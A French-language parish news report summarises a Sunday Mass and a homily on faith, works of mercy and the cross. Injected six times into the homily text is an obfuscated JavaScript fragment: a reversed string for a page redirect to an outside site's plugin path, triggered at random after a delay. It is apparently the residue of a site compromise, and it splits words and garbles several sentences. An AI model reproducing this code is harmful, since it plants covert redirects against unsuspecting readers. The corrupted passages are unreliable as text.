La célébration eucharistique de ce Vingt-quatrième dimanche du temps ordinaire de l’année liturgique B a été présidée par le Père Longin Ntiranyibagira. La chorale Sancta Maria qui célébrait son dix-septième anniversaire d’apostolat, a aidé dans l’animation du chant liturgique. Elle était secondée par la Chorale Magnificat de la Paroisse Sainte Anne de Musaga qui était venue en pèlerinage d’action de grâce pour son trentième anniversaire d’apostolat. Les lectures du jour ont été respectivement du livre du prophète Isaïe (50, 5-9), l’épitre de saint Jacques (2, 14-18) et l’évangile selon saint Marc (8, 27-37).
« Nous sommes venus au temple de Dieu pour l’écouter et lui parler. Ce dimanche tombe en la date où toute l’Eglise célèbre le Saint Nom de Marie. Je souhaite la bienvenue à toutes les personnes ici présentes, particulièrement celles qui portent le nom de Marie, leurs parents ont fait un bon choix de nom », a introduit son homélie le Père Longin. Il a ensuite souhaité joyeux anniversaire aux chorales Sancata Maria et Magnificat et les a encouragés d’aller toujours de l’avant dans leur apostolat. Il n’a pas oublié de mentionner la branche des familles de Schoenstatt de la Paroisse Maramvya et les étudiants de l’Université du Lac Tanganyika tous venus en pèlerinage au Sanctuaire. Le Père Login a clôturé son allocution de bienvenue à l’Abbé Pierre Ntahompagaze qui était sur sa route d’apostolat vers le Cameroun en provenance de la Paroisse Mugera et le Diacre Nsengiyumva, lui aussi de Gitega.
Au cours de son homélie, le Père Longin a dit que Jésus s’est toujours soucié du bien-être et de la vie de la personne humaine. C’est pourquoi il a pris chair de la vierge Marie et a accepté de partager notre condition humaine en tout sauf le péché. En faisant tout cela, Jésus a voulu que nous l’approchions sans crainte. Jésus a interdit à ses disciples de révéler son identité à d’autres personnes avant le moment voulu et opportun, mais Il venait de savoir qu’au moins ses disciples le connaissaient déjà. Dieu veut que nous le connaissions en suivant toutes les étapes qu’il a prévues afin que nous ne soyons perdus au milieu. Pour que nous comprenions que notre référence, nous pouvons y aller en trois étapes. Lors de notre confirmation, on nous a rappelé qu’une foi sans actes est bel et bien more. Depuis ce temps, nous en étions au point de faire un regard introspectif sur notre foi et nos actes pour voir s’ils se complètent.
La première de ces trois étapes est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc de croire en Dieu et s’émerveiller devant lui sans retour ni détour. Cette étape est suivie par le seconde étape où chaque baptisé et ayant reçu d’autres sacrements est appelé à faire des actes qui montrent réellement que qu’il a su et cru en Dieu. Ce sont ces actes d’ailleurs qui nous font ressembler à celui que nous avons suivi. Ces actes sont scindés en deux groupes par l’Eglise, à savoir sept actes de miséricorde qui sont nourrir les affamés, rafraîchir les assoiffés, vêtir ceux qui sont nus, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner de l’abri aux étrangers, visiter et réconforter les malades, visiter les prisonniers et en fin enterrer les défunts. Ces sept actes de miséricorde sont secondés par sept autres actes spirituels. Ceux-ci sont toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner conseils à ceux qui sont dans le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doute, instruire ceux qui savent peu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner des remarques aux pécheurs pour qu’il se convertissent, consoler ceux qui sont affligés, partoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner à ceux qui nous ont fait du mal, accueillir avec amour ceux qui nous ennuient et prier pour les nôtres vivants ou morts.
La troisième étape est de comprendre le mystère de la glorification de la croix. Jésus pouvait, par sa puissance, nous sauver par une seule parole, mais il a bien voulu passer par le supplice de la croix. En de termes clairs, nous disons que la troisième étape de la foi est d’accepter nos souffrances. C’est une forme de purification que nous subissons. Nous devons garder à cœur que notre seul et sûr exemple est Jésus et sa croix qui nous sauve. Prions les uns pour les autres afin que nous puissions marcher dans la voie que Jésus trace pour nous afin qu’un jour nous le rejoignions au royaume des cieux où il est à la droite du Père.
NYANDWI M.